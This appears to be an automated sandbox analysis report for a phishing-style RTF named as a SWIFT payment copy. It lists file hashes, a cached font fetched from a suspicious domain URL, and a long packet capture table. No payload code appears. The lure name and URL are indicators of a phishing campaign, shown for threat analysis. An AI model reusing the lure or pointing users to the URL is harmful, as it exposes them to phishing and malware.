Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 377

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 35970, version 1.0
Category:	downloaded
Size (bytes):	35970
Entropy (8bit):	7.989503040923577
Encrypted:	false
SSDEEP:	768:GJiLCleIZlcBvahjeheOQKskmCp9sE9gBkGgvU+7aAXDqWOtU:GJo9IgMKsQzJ9gBkZbuAXDqWV
MD5:	496B7BBDE91C7DC7CF9BBABBB3921DA8
SHA1:	2BD3C406A715AB52DAD84C803C55BF4A6E66A924
SHA-256:	AE40A04F95DF12B0C364F26AB691DC0C391D394A28BCDB4AEACFACA325D0A798
SHA-512:	E02B40FEA8F77292B379D7D792D9142B32DFCB887655A2D1781441227DD968589BFC5C00691B92E824F7EDB47D11EBA325ADE67AD08A4AF31A3B0DDF4BB8B967
Malicious:	false
URL:	https://l6agz47874.eleteriod.com/12GxD1xKYiaDaUT560Micgpqr50
Preview:	wOFF..............$ .......\...&............DSIG...T............GPOS..........N..B..GSUB...`.........3y.OS/2.......F...`i.{[cmap...X.......<.?+.cvt ......./...<)...fpgm............?...gasp................glyf..!t..Ra....$.ihead..s....3...6..}.hhea..t....!...$....hmtx..t0.......x?s.#loca..w.........LC%.maxp..{X... ... .5..name..{x..........post..~@........1+.,prep.............P..x..\.tU..;y...!..!..R.4."(."".U..V.]3...r..5c...j....._.7U...H..1MSE...0b..b&.......%..w...}.{.......u...s..g..soBLD~.C.)n..1.Q...z.q. ..R..)n.QY.v..{.(...o...O.......G...{to.~.....,..#<.w...W...?6..3....2.)O........].`_a..F'.6..."}&..$'.K...a..NK$..01ar......-.Do_. .H.].x'{....n....{.\|.L.p..u...-.w}.}...~.....(.zP:..^t.=D?..i9.....m.......AE.......J.....j......q&_...`....P....M<.o.[.V....H..Sx:...<.g.....x>/.......^..x9.....Ws...&.....x....jUJ...B.S...2(_...U...Q...<..y.j.y...P.x.:....m+..V.....5h[.~E.WL..rp....0..Pu..$OA....LJ.Y.....9.e...L..... /"?.m.......+..J.........

Static File Info

General

File type:	Rich Text Format data, version 1, ANSI, code page 1252
Entropy (8bit):	5.383464938243339
TrID:	Rich Text Format (5005/1) 55.56% Rich Text Format (4004/1) 44.44%
File name:	Airbornemx SWIFT COPY _ Wednesday May 2024..rtf
File size:	835 bytes
MD5:	a6c02d391b207b84472b7ac9b4c0de7c
SHA1:	bc1dbeeb82a0f9b4f7e7fa22a6065d62293f30af
SHA256:	e75d58fd1c42faeecdc4e88bd1309f532f109e760555810656062b15ba66faee
SHA512:	d04ba001086ac5612f8609783d260e29f1ea5f8f4a20727f0ed6d0ee4c92568e7587d9c668afd5692263f77e644ebd1e1ee4d528fda648c0ffd253d8b380f95e
SSDEEP:	24:MWQIZFOGN/+p+EqkfkikWaGbCMU61p5v93Kfo5JY:MRIZFOGd2MskikBG3/a
TLSH:	5501F1B3E582444089EB3381B94A20090717A7C6CA5D91E6E36A98C5E47FB3DD351975
File Content Preview:	{\rtf1\ansi\ansicpg1252\deff0\nouicompat{\fonttbl{\f0\froman\fcharset0 Times-Roman;}{\f1\fnil Arial;}{\f2\fswiss\fcharset0 ArialMT;}{\f3\froman\fcharset0 Times-Bold;}}.{\colortbl ;\red0\green0\blue255;\red0\green0\blue233;}.{\*\generator Riched20 10.0.203

File Icon


Icon Hash:	35e1cc889a8a8599

Static RTF Info

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 22, 2024 20:01:15.114068985 CEST	49678	443	192.168.2.17	204.79.197.200
May 22, 2024 20:01:15.114068985 CEST	49676	443	192.168.2.17	204.79.197.200
May 22, 2024 20:01:23.080744028 CEST	49706	443	192.168.2.17	40.126.32.134
May 22, 2024 20:01:23.080779076 CEST	443	49706	40.126.32.134	192.168.2.17
May 22, 2024 20:01:23.080882072 CEST	49706	443	192.168.2.17	40.126.32.134
May 22, 2024 20:01:23.081190109 CEST	49706	443	192.168.2.17	40.126.32.134
May 22, 2024 20:01:23.081199884 CEST	443	49706	40.126.32.134	192.168.2.17
May 22, 2024 20:01:23.919945002 CEST	443	49706	40.126.32.134	192.168.2.17
May 22, 2024 20:01:23.920332909 CEST	49706	443	192.168.2.17	40.126.32.134
May 22, 2024 20:01:23.932156086 CEST	49706	443	192.168.2.17	40.126.32.134
May 22, 2024 20:01:23.932171106 CEST	443	49706	40.126.32.134	192.168.2.17
May 22, 2024 20:01:23.932440042 CEST	443	49706	40.126.32.134	192.168.2.17
May 22, 2024 20:01:23.933094978 CEST	49706	443	192.168.2.17	40.126.32.134
May 22, 2024 20:01:23.933094978 CEST	49706	443	192.168.2.17	40.126.32.134
May 22, 2024 20:01:23.933125973 CEST	443	49706	40.126.32.134	192.168.2.17
May 22, 2024 20:01:24.356915951 CEST	443	49706	40.126.32.134	192.168.2.17
May 22, 2024 20:01:24.356945038 CEST	443	49706	40.126.32.134	192.168.2.17
May 22, 2024 20:01:24.356982946 CEST	443	49706	40.126.32.134	192.168.2.17
May 22, 2024 20:01:24.357034922 CEST	443	49706	40.126.32.134	192.168.2.17
May 22, 2024 20:01:24.357196093 CEST	49706	443	192.168.2.17	40.126.32.134
May 22, 2024 20:01:24.357196093 CEST	49706	443	192.168.2.17	40.126.32.134
May 22, 2024 20:01:24.357629061 CEST	49706	443	192.168.2.17	40.126.32.134
May 22, 2024 20:01:24.357630014 CEST	49706	443	192.168.2.17	40.126.32.134
May 22, 2024 20:01:24.357647896 CEST	443	49706	40.126.32.134	192.168.2.17
May 22, 2024 20:01:24.357659101 CEST	443	49706	40.126.32.134	192.168.2.17
May 22, 2024 20:01:25.442922115 CEST	49707	443	192.168.2.17	13.85.23.86
May 22, 2024 20:01:25.442951918 CEST	443	49707	13.85.23.86	192.168.2.17
May 22, 2024 20:01:25.444881916 CEST	49707	443	192.168.2.17	13.85.23.86
May 22, 2024 20:01:25.444881916 CEST	49707	443	192.168.2.17	13.85.23.86
May 22, 2024 20:01:25.444911003 CEST	443	49707	13.85.23.86	192.168.2.17
May 22, 2024 20:01:26.161425114 CEST	443	49707	13.85.23.86	192.168.2.17
May 22, 2024 20:01:26.161561966 CEST	49707	443	192.168.2.17	13.85.23.86
May 22, 2024 20:01:26.163249969 CEST	49707	443	192.168.2.17	13.85.23.86
May 22, 2024 20:01:26.163269997 CEST	443	49707	13.85.23.86	192.168.2.17
May 22, 2024 20:01:26.163590908 CEST	443	49707	13.85.23.86	192.168.2.17
May 22, 2024 20:01:26.213067055 CEST	49707	443	192.168.2.17	13.85.23.86
May 22, 2024 20:01:26.229123116 CEST	49707	443	192.168.2.17	13.85.23.86
May 22, 2024 20:01:26.270548105 CEST	443	49707	13.85.23.86	192.168.2.17
May 22, 2024 20:01:26.471775055 CEST	443	49707	13.85.23.86	192.168.2.17
May 22, 2024 20:01:26.471806049 CEST	443	49707	13.85.23.86	192.168.2.17
May 22, 2024 20:01:26.471813917 CEST	443	49707	13.85.23.86	192.168.2.17
May 22, 2024 20:01:26.471905947 CEST	49707	443	192.168.2.17	13.85.23.86
May 22, 2024 20:01:26.471915960 CEST	443	49707	13.85.23.86	192.168.2.17
May 22, 2024 20:01:26.471935034 CEST	443	49707	13.85.23.86	192.168.2.17
May 22, 2024 20:01:26.471950054 CEST	443	49707	13.85.23.86	192.168.2.17
May 22, 2024 20:01:26.471977949 CEST	443	49707	13.85.23.86	192.168.2.17
May 22, 2024 20:01:26.471992016 CEST	49707	443	192.168.2.17	13.85.23.86
May 22, 2024 20:01:26.471992016 CEST	49707	443	192.168.2.17	13.85.23.86
May 22, 2024 20:01:26.472038984 CEST	49707	443	192.168.2.17	13.85.23.86
May 22, 2024 20:01:26.481127024 CEST	443	49707	13.85.23.86	192.168.2.17
May 22, 2024 20:01:26.481216908 CEST	49707	443	192.168.2.17	13.85.23.86
May 22, 2024 20:01:26.481220961 CEST	443	49707	13.85.23.86	192.168.2.17
May 22, 2024 20:01:26.481268883 CEST	49707	443	192.168.2.17	13.85.23.86
May 22, 2024 20:01:26.484240055 CEST	49707	443	192.168.2.17	13.85.23.86
May 22, 2024 20:01:26.484257936 CEST	443	49707	13.85.23.86	192.168.2.17
May 22, 2024 20:01:26.484287024 CEST	49707	443	192.168.2.17	13.85.23.86
May 22, 2024 20:01:26.484292030 CEST	443	49707	13.85.23.86	192.168.2.17
May 22, 2024 20:01:37.663784027 CEST	49675	443	192.168.2.17	204.79.197.203
May 22, 2024 20:01:37.830605984 CEST	49767	443	192.168.2.17	188.114.97.3
May 22, 2024 20:01:37.830636978 CEST	443	49767	188.114.97.3	192.168.2.17
May 22, 2024 20:01:37.830926895 CEST	49767	443	192.168.2.17	188.114.97.3
May 22, 2024 20:01:37.831376076 CEST	49767	443	192.168.2.17	188.114.97.3
May 22, 2024 20:01:37.831391096 CEST	443	49767	188.114.97.3	192.168.2.17
May 22, 2024 20:01:37.975182056 CEST	49675	443	192.168.2.17	204.79.197.203
May 22, 2024 20:01:38.391068935 CEST	443	49767	188.114.97.3	192.168.2.17
May 22, 2024 20:01:38.391549110 CEST	49767	443	192.168.2.17	188.114.97.3
May 22, 2024 20:01:38.391571045 CEST	443	49767	188.114.97.3	192.168.2.17
May 22, 2024 20:01:38.392736912 CEST	443	49767	188.114.97.3	192.168.2.17
May 22, 2024 20:01:38.392879963 CEST	49767	443	192.168.2.17	188.114.97.3
May 22, 2024 20:01:38.395243883 CEST	49767	443	192.168.2.17	188.114.97.3
May 22, 2024 20:01:38.395323038 CEST	443	49767	188.114.97.3	192.168.2.17
May 22, 2024 20:01:38.395349979 CEST	49767	443	192.168.2.17	188.114.97.3
May 22, 2024 20:01:38.437097073 CEST	49767	443	192.168.2.17	188.114.97.3
May 22, 2024 20:01:38.437117100 CEST	443	49767	188.114.97.3	192.168.2.17
May 22, 2024 20:01:38.485526085 CEST	49767	443	192.168.2.17	188.114.97.3
May 22, 2024 20:01:38.579094887 CEST	49675	443	192.168.2.17	204.79.197.203
May 22, 2024 20:01:39.789093018 CEST	49675	443	192.168.2.17	204.79.197.203
May 22, 2024 20:01:41.292824030 CEST	443	49767	188.114.97.3	192.168.2.17
May 22, 2024 20:01:41.298269033 CEST	443	49767	188.114.97.3	192.168.2.17
May 22, 2024 20:01:41.298336029 CEST	49767	443	192.168.2.17	188.114.97.3
May 22, 2024 20:01:41.298365116 CEST	443	49767	188.114.97.3	192.168.2.17
May 22, 2024 20:01:41.318392038 CEST	443	49767	188.114.97.3	192.168.2.17
May 22, 2024 20:01:41.318434000 CEST	443	49767	188.114.97.3	192.168.2.17
May 22, 2024 20:01:41.318468094 CEST	49767	443	192.168.2.17	188.114.97.3
May 22, 2024 20:01:41.318492889 CEST	443	49767	188.114.97.3	192.168.2.17
May 22, 2024 20:01:41.318547964 CEST	49767	443	192.168.2.17	188.114.97.3
May 22, 2024 20:01:41.318563938 CEST	443	49767	188.114.97.3	192.168.2.17
May 22, 2024 20:01:41.318675041 CEST	49767	443	192.168.2.17	188.114.97.3
May 22, 2024 20:01:41.318695068 CEST	49767	443	192.168.2.17	188.114.97.3
May 22, 2024 20:01:41.318711042 CEST	443	49767	188.114.97.3	192.168.2.17
May 22, 2024 20:01:41.415419102 CEST	49774	443	192.168.2.17	151.101.2.137
May 22, 2024 20:01:41.415474892 CEST	443	49774	151.101.2.137	192.168.2.17
May 22, 2024 20:01:41.415553093 CEST	49774	443	192.168.2.17	151.101.2.137
May 22, 2024 20:01:41.415621042 CEST	49775	443	192.168.2.17	104.17.3.184
May 22, 2024 20:01:41.415630102 CEST	443	49775	104.17.3.184	192.168.2.17
May 22, 2024 20:01:41.415693045 CEST	49775	443	192.168.2.17	104.17.3.184
May 22, 2024 20:01:41.415851116 CEST	49774	443	192.168.2.17	151.101.2.137
May 22, 2024 20:01:41.415868998 CEST	443	49774	151.101.2.137	192.168.2.17
May 22, 2024 20:01:41.415982962 CEST	49775	443	192.168.2.17	104.17.3.184
May 22, 2024 20:01:41.415997028 CEST	443	49775	104.17.3.184	192.168.2.17
May 22, 2024 20:01:41.823863983 CEST	49680	443	192.168.2.17	20.189.173.13
May 22, 2024 20:01:41.936841011 CEST	443	49775	104.17.3.184	192.168.2.17
May 22, 2024 20:01:41.937413931 CEST	49775	443	192.168.2.17	104.17.3.184
May 22, 2024 20:01:41.937428951 CEST	443	49775	104.17.3.184	192.168.2.17
May 22, 2024 20:01:41.938527107 CEST	443	49775	104.17.3.184	192.168.2.17
May 22, 2024 20:01:41.938623905 CEST	49775	443	192.168.2.17	104.17.3.184
May 22, 2024 20:01:41.939261913 CEST	443	49774	151.101.2.137	192.168.2.17
May 22, 2024 20:01:41.939579964 CEST	49774	443	192.168.2.17	151.101.2.137
May 22, 2024 20:01:41.939588070 CEST	443	49774	151.101.2.137	192.168.2.17
May 22, 2024 20:01:41.939727068 CEST	49775	443	192.168.2.17	104.17.3.184
May 22, 2024 20:01:41.939807892 CEST	443	49775	104.17.3.184	192.168.2.17
May 22, 2024 20:01:41.940011978 CEST	49775	443	192.168.2.17	104.17.3.184
May 22, 2024 20:01:41.940021038 CEST	443	49775	104.17.3.184	192.168.2.17
May 22, 2024 20:01:41.940891027 CEST	443	49774	151.101.2.137	192.168.2.17
May 22, 2024 20:01:41.941014051 CEST	49774	443	192.168.2.17	151.101.2.137
May 22, 2024 20:01:41.941874981 CEST	49774	443	192.168.2.17	151.101.2.137
May 22, 2024 20:01:41.941947937 CEST	443	49774	151.101.2.137	192.168.2.17
May 22, 2024 20:01:41.942011118 CEST	49774	443	192.168.2.17	151.101.2.137
May 22, 2024 20:01:41.986505985 CEST	443	49774	151.101.2.137	192.168.2.17
May 22, 2024 20:01:41.995070934 CEST	49774	443	192.168.2.17	151.101.2.137
May 22, 2024 20:01:41.995085001 CEST	443	49774	151.101.2.137	192.168.2.17
May 22, 2024 20:01:41.995114088 CEST	49775	443	192.168.2.17	104.17.3.184
May 22, 2024 20:01:42.043114901 CEST	49774	443	192.168.2.17	151.101.2.137
May 22, 2024 20:01:42.078728914 CEST	443	49774	151.101.2.137	192.168.2.17
May 22, 2024 20:01:42.081559896 CEST	443	49774	151.101.2.137	192.168.2.17
May 22, 2024 20:01:42.081620932 CEST	49774	443	192.168.2.17	151.101.2.137
May 22, 2024 20:01:42.081636906 CEST	443	49774	151.101.2.137	192.168.2.17
May 22, 2024 20:01:42.088124990 CEST	443	49774	151.101.2.137	192.168.2.17
May 22, 2024 20:01:42.088191032 CEST	49774	443	192.168.2.17	151.101.2.137
May 22, 2024 20:01:42.088200092 CEST	443	49774	151.101.2.137	192.168.2.17
May 22, 2024 20:01:42.090431929 CEST	443	49774	151.101.2.137	192.168.2.17
May 22, 2024 20:01:42.090508938 CEST	49774	443	192.168.2.17	151.101.2.137
May 22, 2024 20:01:42.090517998 CEST	443	49774	151.101.2.137	192.168.2.17
May 22, 2024 20:01:42.094794989 CEST	443	49774	151.101.2.137	192.168.2.17
May 22, 2024 20:01:42.094896078 CEST	443	49774	151.101.2.137	192.168.2.17
May 22, 2024 20:01:42.094902039 CEST	49774	443	192.168.2.17	151.101.2.137
May 22, 2024 20:01:42.094927073 CEST	443	49774	151.101.2.137	192.168.2.17
May 22, 2024 20:01:42.094988108 CEST	49774	443	192.168.2.17	151.101.2.137
May 22, 2024 20:01:42.098232985 CEST	443	49774	151.101.2.137	192.168.2.17
May 22, 2024 20:01:42.102010965 CEST	443	49774	151.101.2.137	192.168.2.17
May 22, 2024 20:01:42.102085114 CEST	49774	443	192.168.2.17	151.101.2.137
May 22, 2024 20:01:42.102094889 CEST	443	49774	151.101.2.137	192.168.2.17
May 22, 2024 20:01:42.137116909 CEST	49680	443	192.168.2.17	20.189.173.13
May 22, 2024 20:01:42.149924040 CEST	443	49775	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.150005102 CEST	443	49775	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.150458097 CEST	49775	443	192.168.2.17	104.17.3.184
May 22, 2024 20:01:42.150499105 CEST	443	49775	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.150561094 CEST	49775	443	192.168.2.17	104.17.3.184
May 22, 2024 20:01:42.150603056 CEST	49775	443	192.168.2.17	104.17.3.184
May 22, 2024 20:01:42.152198076 CEST	49776	443	192.168.2.17	104.17.3.184
May 22, 2024 20:01:42.152271032 CEST	443	49776	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.152426958 CEST	49776	443	192.168.2.17	104.17.3.184
May 22, 2024 20:01:42.152651072 CEST	49776	443	192.168.2.17	104.17.3.184
May 22, 2024 20:01:42.152678967 CEST	443	49776	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.153112888 CEST	49774	443	192.168.2.17	151.101.2.137
May 22, 2024 20:01:42.183322906 CEST	443	49774	151.101.2.137	192.168.2.17
May 22, 2024 20:01:42.183341980 CEST	443	49774	151.101.2.137	192.168.2.17
May 22, 2024 20:01:42.183367014 CEST	443	49774	151.101.2.137	192.168.2.17
May 22, 2024 20:01:42.183374882 CEST	443	49774	151.101.2.137	192.168.2.17
May 22, 2024 20:01:42.183410883 CEST	443	49774	151.101.2.137	192.168.2.17
May 22, 2024 20:01:42.183415890 CEST	49774	443	192.168.2.17	151.101.2.137
May 22, 2024 20:01:42.183448076 CEST	443	49774	151.101.2.137	192.168.2.17
May 22, 2024 20:01:42.183473110 CEST	49774	443	192.168.2.17	151.101.2.137
May 22, 2024 20:01:42.183516026 CEST	49774	443	192.168.2.17	151.101.2.137
May 22, 2024 20:01:42.198209047 CEST	443	49774	151.101.2.137	192.168.2.17
May 22, 2024 20:01:42.198230982 CEST	443	49774	151.101.2.137	192.168.2.17
May 22, 2024 20:01:42.198272943 CEST	443	49774	151.101.2.137	192.168.2.17
May 22, 2024 20:01:42.198318005 CEST	49774	443	192.168.2.17	151.101.2.137
May 22, 2024 20:01:42.198328018 CEST	443	49774	151.101.2.137	192.168.2.17
May 22, 2024 20:01:42.198367119 CEST	49774	443	192.168.2.17	151.101.2.137
May 22, 2024 20:01:42.198405027 CEST	49774	443	192.168.2.17	151.101.2.137
May 22, 2024 20:01:42.201128006 CEST	49675	443	192.168.2.17	204.79.197.203
May 22, 2024 20:01:42.271982908 CEST	443	49774	151.101.2.137	192.168.2.17
May 22, 2024 20:01:42.272043943 CEST	443	49774	151.101.2.137	192.168.2.17
May 22, 2024 20:01:42.272104979 CEST	49774	443	192.168.2.17	151.101.2.137
May 22, 2024 20:01:42.272125006 CEST	443	49774	151.101.2.137	192.168.2.17
May 22, 2024 20:01:42.272172928 CEST	49774	443	192.168.2.17	151.101.2.137
May 22, 2024 20:01:42.280510902 CEST	443	49774	151.101.2.137	192.168.2.17
May 22, 2024 20:01:42.280572891 CEST	443	49774	151.101.2.137	192.168.2.17
May 22, 2024 20:01:42.280623913 CEST	49774	443	192.168.2.17	151.101.2.137
May 22, 2024 20:01:42.280638933 CEST	443	49774	151.101.2.137	192.168.2.17
May 22, 2024 20:01:42.280690908 CEST	49774	443	192.168.2.17	151.101.2.137
May 22, 2024 20:01:42.285190105 CEST	443	49774	151.101.2.137	192.168.2.17
May 22, 2024 20:01:42.285269976 CEST	49774	443	192.168.2.17	151.101.2.137
May 22, 2024 20:01:42.285283089 CEST	443	49774	151.101.2.137	192.168.2.17
May 22, 2024 20:01:42.285298109 CEST	443	49774	151.101.2.137	192.168.2.17
May 22, 2024 20:01:42.285345078 CEST	49774	443	192.168.2.17	151.101.2.137
May 22, 2024 20:01:42.288222075 CEST	49774	443	192.168.2.17	151.101.2.137
May 22, 2024 20:01:42.288243055 CEST	443	49774	151.101.2.137	192.168.2.17
May 22, 2024 20:01:42.456779957 CEST	49777	443	192.168.2.17	172.217.16.196
May 22, 2024 20:01:42.456834078 CEST	443	49777	172.217.16.196	192.168.2.17
May 22, 2024 20:01:42.457072973 CEST	49777	443	192.168.2.17	172.217.16.196
May 22, 2024 20:01:42.458127975 CEST	49777	443	192.168.2.17	172.217.16.196
May 22, 2024 20:01:42.458153009 CEST	443	49777	172.217.16.196	192.168.2.17
May 22, 2024 20:01:42.661593914 CEST	443	49776	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.662142992 CEST	49776	443	192.168.2.17	104.17.3.184
May 22, 2024 20:01:42.662173986 CEST	443	49776	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.663288116 CEST	443	49776	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.663697958 CEST	49776	443	192.168.2.17	104.17.3.184
May 22, 2024 20:01:42.663855076 CEST	49776	443	192.168.2.17	104.17.3.184
May 22, 2024 20:01:42.663861036 CEST	443	49776	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.663877010 CEST	443	49776	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.710127115 CEST	49776	443	192.168.2.17	104.17.3.184
May 22, 2024 20:01:42.741118908 CEST	49680	443	192.168.2.17	20.189.173.13
May 22, 2024 20:01:42.834427118 CEST	443	49776	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.835989952 CEST	443	49776	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.836030006 CEST	443	49776	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.836066961 CEST	443	49776	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.836149931 CEST	49776	443	192.168.2.17	104.17.3.184
May 22, 2024 20:01:42.836177111 CEST	443	49776	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.838407993 CEST	443	49776	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.838486910 CEST	49776	443	192.168.2.17	104.17.3.184
May 22, 2024 20:01:42.838495970 CEST	443	49776	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.840845108 CEST	443	49776	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.840883017 CEST	443	49776	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.840926886 CEST	49776	443	192.168.2.17	104.17.3.184
May 22, 2024 20:01:42.840934992 CEST	443	49776	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.840974092 CEST	49776	443	192.168.2.17	104.17.3.184
May 22, 2024 20:01:42.841655016 CEST	443	49776	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.884090900 CEST	49776	443	192.168.2.17	104.17.3.184
May 22, 2024 20:01:42.884109974 CEST	443	49776	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.925570965 CEST	443	49776	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.925651073 CEST	49776	443	192.168.2.17	104.17.3.184
May 22, 2024 20:01:42.925668001 CEST	443	49776	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.927067041 CEST	443	49776	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.927129984 CEST	49776	443	192.168.2.17	104.17.3.184
May 22, 2024 20:01:42.927146912 CEST	443	49776	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.928504944 CEST	443	49776	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.928564072 CEST	49776	443	192.168.2.17	104.17.3.184
May 22, 2024 20:01:42.928575993 CEST	443	49776	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.929332972 CEST	443	49776	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.929390907 CEST	49776	443	192.168.2.17	104.17.3.184
May 22, 2024 20:01:42.929399014 CEST	443	49776	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.930859089 CEST	443	49776	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.930917025 CEST	49776	443	192.168.2.17	104.17.3.184
May 22, 2024 20:01:42.930932045 CEST	443	49776	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.932337046 CEST	443	49776	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.932395935 CEST	49776	443	192.168.2.17	104.17.3.184
May 22, 2024 20:01:42.932404041 CEST	443	49776	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.933567047 CEST	443	49776	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.933631897 CEST	49776	443	192.168.2.17	104.17.3.184
May 22, 2024 20:01:42.933639050 CEST	443	49776	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.934763908 CEST	443	49776	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.934818983 CEST	49776	443	192.168.2.17	104.17.3.184
May 22, 2024 20:01:42.934825897 CEST	443	49776	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.935961962 CEST	443	49776	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.936014891 CEST	49776	443	192.168.2.17	104.17.3.184
May 22, 2024 20:01:42.936021090 CEST	443	49776	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.937129974 CEST	443	49776	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.937217951 CEST	443	49776	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.937218904 CEST	49776	443	192.168.2.17	104.17.3.184
May 22, 2024 20:01:42.937248945 CEST	443	49776	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.937320948 CEST	49776	443	192.168.2.17	104.17.3.184
May 22, 2024 20:01:42.937328100 CEST	443	49776	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.937432051 CEST	443	49776	104.17.3.184	192.168.2.17
May 22, 2024 20:01:42.937485933 CEST	49776	443	192.168.2.17	104.17.3.184
May 22, 2024 20:01:42.937967062 CEST	49776	443	192.168.2.17	104.17.3.184
May 22, 2024 20:01:42.937979937 CEST	443	49776	104.17.3.184	192.168.2.17
May 22, 2024 20:01:43.002290010 CEST	49778	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.002326012 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.002450943 CEST	49778	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.002640009 CEST	49778	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.002659082 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.200727940 CEST	443	49777	172.217.16.196	192.168.2.17
May 22, 2024 20:01:43.201191902 CEST	49777	443	192.168.2.17	172.217.16.196
May 22, 2024 20:01:43.201225996 CEST	443	49777	172.217.16.196	192.168.2.17
May 22, 2024 20:01:43.202465057 CEST	443	49777	172.217.16.196	192.168.2.17
May 22, 2024 20:01:43.202548981 CEST	49777	443	192.168.2.17	172.217.16.196
May 22, 2024 20:01:43.203911066 CEST	49777	443	192.168.2.17	172.217.16.196
May 22, 2024 20:01:43.203986883 CEST	443	49777	172.217.16.196	192.168.2.17
May 22, 2024 20:01:43.251116991 CEST	49777	443	192.168.2.17	172.217.16.196
May 22, 2024 20:01:43.251133919 CEST	443	49777	172.217.16.196	192.168.2.17
May 22, 2024 20:01:43.299091101 CEST	49777	443	192.168.2.17	172.217.16.196
May 22, 2024 20:01:43.531378984 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.531744003 CEST	49778	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.531776905 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.533410072 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.533495903 CEST	49778	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.534024000 CEST	49778	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.534111023 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.534323931 CEST	49778	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.534336090 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.586092949 CEST	49778	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.729072094 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.730674982 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.730753899 CEST	49778	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.730778933 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.734765053 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.734834909 CEST	49778	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.734854937 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.741024971 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.741086960 CEST	49778	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.741103888 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.744374990 CEST	443	49778	104.17.2.184	192.168.2.17
